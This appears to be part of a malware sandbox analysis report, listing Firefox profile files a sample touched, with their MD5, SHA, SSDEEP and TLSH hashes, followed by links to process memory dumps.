MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
Size 21.6MB
SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
MD5 d14dd3f0107ff91c3e21f301d83f82b0
SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
TLSH
T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\prefs-1.js
Size 12KB
SHA256 78947ca0145497049220ef5cac2dc9e09d09c5295fb9e391b8eaac482971b098
MD5 2ca26776c29d927e27e772c18b9d0c80
SHA1 287b16e415e4b7dd005c3c8bda7bf95d1785fa56
SHA512 06bcae07bf22e5894bfa70c7691c10ffb6db3324c28eab89f123a4b7f592afe148e858d74a85af1bed9b93edf709acfe993bdf3f5b9470580784a4f89d16adce
SSDEEP 192:3iRYfS+xISScLRPRpkYOBw88csHbW3LDb:N7RMzwXqL
TLSH
T1EF42DC3C9140CB7F25B6327EAC2589B419A54237B6BFBCD205FD84C2055DF2442E6AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\prefs-1.js
Size 7KB
SHA256 4b154c306193896bf411b8d26f40055290c17055fd454ac8ffbcaff9e094a9a0
MD5 2019bb78b54c992cee0420ce428957a2
SHA1 dcac7301d8471a384ec92375b1e2ab1738e8cdfc
SHA512 cbc94259b1ba06dd16fcd551f97a947af81c47a071d88bbb164c5fd9997cf4a8cdd33fe84d4c824a0a7ae02b93eb5958841fbc6f5749a43e2502f800ee7520e1
SSDEEP 96:xHTGlTUEqGqSvfS+xObzSqSSlvdv9jgnNWRPRVem9xQc4Bw88qU8L4cn5VPB:oiRYfS+xISS9RPRpkNBw886T
TLSH
T1EDF11F385104CB7F75B6776CAC6889705A72023BB7BF68C610BA44C4011CF3446F9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\prefs-1.js
Size 6KB
SHA256 d921ef9fae15fa580105e49829e8c4646c10312d1a8f9228679eaa3c9ff6512f
MD5 7b2aea8084e669034029fc132045402b
SHA1 2b85eb9eabf43c306a54463dd5acae7f0f3eeab7
SHA512 57b486880b8efc650b5f2b1413b779f2b6731fd6ad940cd2416123ecef1e1e5b90fb65bc91b9e356daab19eb5ea45262a700436f337fe886718773858271506c
SSDEEP 96:xHTGUTUEqGqSvfk+x1zSqSSlvdv9jgnNHKm9fBw88u8L4cn5VPB:oHRYfk+xLSS435Bw88vT
TLSH
T1CEE11E7855088B7F74B677ACAC6888316AB2413B7BBF68D610BA54C5010CF3446F9AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\prefs.js
Size 6KB
SHA256 c970e6730bc9efdd4966a0ac895b29c75afd03d7d2b5e099d3525b660700063a
MD5 8335aedcb1086a1e93ad082d892541f6
SHA1 57f29205c3a984b21eea2ce22d3d1ab6c3b0efe9
SHA512 0fec7e4aecba1fcfea8eef563db98a37c44e59928400284b6da95a1be019958fd57c98cfd91086755fe922383b59ce845573efd9cb603f568a93951111c211ef
SSDEEP 96:xHTGUTUEqGqSvfklN1zSkSSlvdv9jhnNHKm9fBw88u8L4cn5VPB:oHRYfklNxSSJ35Bw88vT
TLSH
T133E1217855088B7F74B677ACAC688C316AB2413B7BBF28C610B654C5011CF3442F9AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\prefs.js
Size 6KB
SHA256 26a6960547b60452b4a1a97f964b836e9a640f8b949c521f4e9627c9d5ab15e9
MD5 0a41de6eaf2944222b6b6c72e488f119
SHA1 7421bb4e6a51dc20c6e90b3f4411c1726ddcbd77
SHA512 4aa7b60aea76bf11672ff1b0ef0624b6ce5145ca9692599f9424fe0b7e3c949d4b105dc0519811bdfcefe0133572b9a2c349d36492cd1c5bf95994ad6e1539b7
SSDEEP 96:xHTGUTUEqGqSvfk+xObzSqSSlvdv9jgnNHKm9fBw88u8L4cn5VPB:oHRYfk+xISS435Bw88vT
TLSH
T1F4E1207855088B7F74B677ACAC6888315AB2413B7BBF68C610BA54C4010CF3446F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 8e099614ebf97665fea91c3c0e41f06b120c8c37d7f24a4f54c8055d5a8b227d
MD5 d4f45280577781cfd0aeb4f8d6746732
SHA1 211e3447cbb54ca69065aa964b97ad12260fc6f8
SHA512 5c59a18aca8d357ebfc736e0449c3792e954e3ab38aa777d257cd1fca506d77a4fa1ef0b8f4da99368279799f1a95b7f80cbf4e0ff70e5f735f69ee658ddf0ba
TLSH
T1DC717C93484E7FF1BB707EE0D0DDA634E26610A341B51DD4D038AE12522D3CE62883BD
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 d0b7eeb6743606ae92238c252af4f342fc17d732bf76dd985836932c36778ac7
MD5 7ea67f10847d262d95fdafd3f122f115
SHA1 c8d54fae360ff44ba13301aaa1a2b2ca40c3b532
SHA512 f0f6cd339c4472e2a78a16a55a270bdde000f7116b0326058290afb51f5f13fa0a2136486e3fb3d159b66c44d2515d5fabe350af5b3f7e8916d4027ab213bb03
TLSH
T1F0718D93484E7FF1B7707DE4C0DDA634E26A10A345B51DD4E038AE12022D3CD62883BD
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\sessionstore-backups\recovery.jsonlz4
Size 3KB
SHA256 2835433565f522a8d173358590aac2000920489b064c9a5bffb15677a30a5098
MD5 e7534d0858bafe2799f57ecfd1b9d6ae
SHA1 48b01dc546dc3daa2d26210412616c58a0ee199a
SHA512 881d81b47be868e23169944f64aa9dc6bd78c0282b4019ef61b852e1c23aa40cee24104cbea3f9e2375099120a724fcee0aee15314626fc553d652596eefe547
TLSH
T143716B93484E7FF1A7706AA490DDA639E26620A305B51DD4D039AE11522D3CD628C2AE
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 7.1MB
SHA256 a500dcd20074384eb2b7369509b01f0cb79578ed4f20182e55355fc9da75eae5
MD5 bcc9b46ade01a3cfd01e928e25f2cc14
SHA1 6633ab88afcd9dcaa7a5dddb1d6ee184c5417a35
SHA512 009c63b441bafecd0ccd2020c4d620483cff52acc44f85655bfed59771c2bc93a2e009de1de89ccfb97ba7b5ca22bb1aa0051fe9456b182d6846a8f7e7d19dd7
SSDEEP 49152:5+gC9wxcTYxRbgMgqpv0kRZpwsY/kLJf4jzHQTTm/93Ia9mt77NabY4L4CCUkTHz:5JzDgqNFRZpwvkL
TLSH
T137765CE420E19253F38644B3718993FB20EFC01C6076CE44579496FAA9748EB8E977BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 7.1MB
SHA256 ba4e1ccb5dc2b334b36c8d7a70adb27ed662b24adbadb693b2e9792193a3e33c
MD5 7b73331960768975969e3ebcb16b55bc
SHA1 7c5b09fa47d390d4a0b904f535d66cf7b71b8ea8
SHA512 94fe81d3c834646a54aae9c263d5086db2fe54c91d564314396ca11125967d38b252ae3c835fd7d3334e7bd1a088b67efd1df91d2a9ae317dc8213acf593940a
SSDEEP 49152:edhNpXrWZfGnUq5l/59wxcTYxRbgMgqpv0kRZpwsY/CfLv4pzyQTTm/93Ia9mt7k:e6ZDgqNFRZpwvCf
TLSH
T138764CE420E19253F38644B3718993FB20EFC01C6076CE44579496FAA9748EB8E977BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 7.1MB
SHA256 93e7d4e7f484420f2f9e910d0f1c4b2901b4c3e8b8c5a10ab4bb728f6211f83f
MD5 17a840d7af33ebb100ac54957bf5ce2e
SHA1 a8312cbeb532fcd602b9b075be705c23d7a7c3ef
SHA512 d1c9d3b84c818d7241e5c4188b0010cc72745ebb9e719b75c18f732761649fee93d1707c9113d9a0588dc6f9721f7eacd970c596e3dc77732beadc1ef35d212e
SSDEEP 49152:WLeLysaeUT6QC5zYYDawjJ5T824dePNpXrWZfGnUq5l/Y9wIGKYPmbCMiqpv0kRM:7MldiqNFRqplDvL
TLSH
T127765CE420E19253F38644B3719993FB20EFC01C6036CE44579496FAA9748EB8E977BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1992-21-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-464-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-29-0x0000019AB0610000-0x0000019AB061A000-memory.dmp

Download

memory/1992-27-0x0000019AC8730000-0x0000019AC874E000-memory.dmp

Download

memory/1992-28-0x0000019AC8B30000-0x0000019AC8BE2000-memory.dmp

Download

memory/1992-32-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-19-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-31-0x0000019AC8800000-0x0000019AC892F000-memory.dmp

Download

memory/1992-20-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-16-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-17-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-18-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/1992-49-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3424-58-0x000002471BB80000-0x000002471BDC1000-memory.dmp

Download

memory/3680-9-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-7-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-15-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-10-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-12-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-11-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-14-0x00000237AE990000-0x00000237AEABF000-memory.dmp

Download

memory/3680-0-0x00007FFF84B0F000-0x00007FFF84B10000-memory.dmp

Download

memory/3680-4-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-8-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-3-0x00000237AE920000-0x00000237AE942000-memory.dmp

Download

memory/3680-6-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/3680-5-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/4724-697-0x0000010B74930000-0x0000010B74B71000-memory.dmp

Download

memory/5868-38-0x000002AFB2B40000-0x000002AFB2C6F000-memory.dmp

Download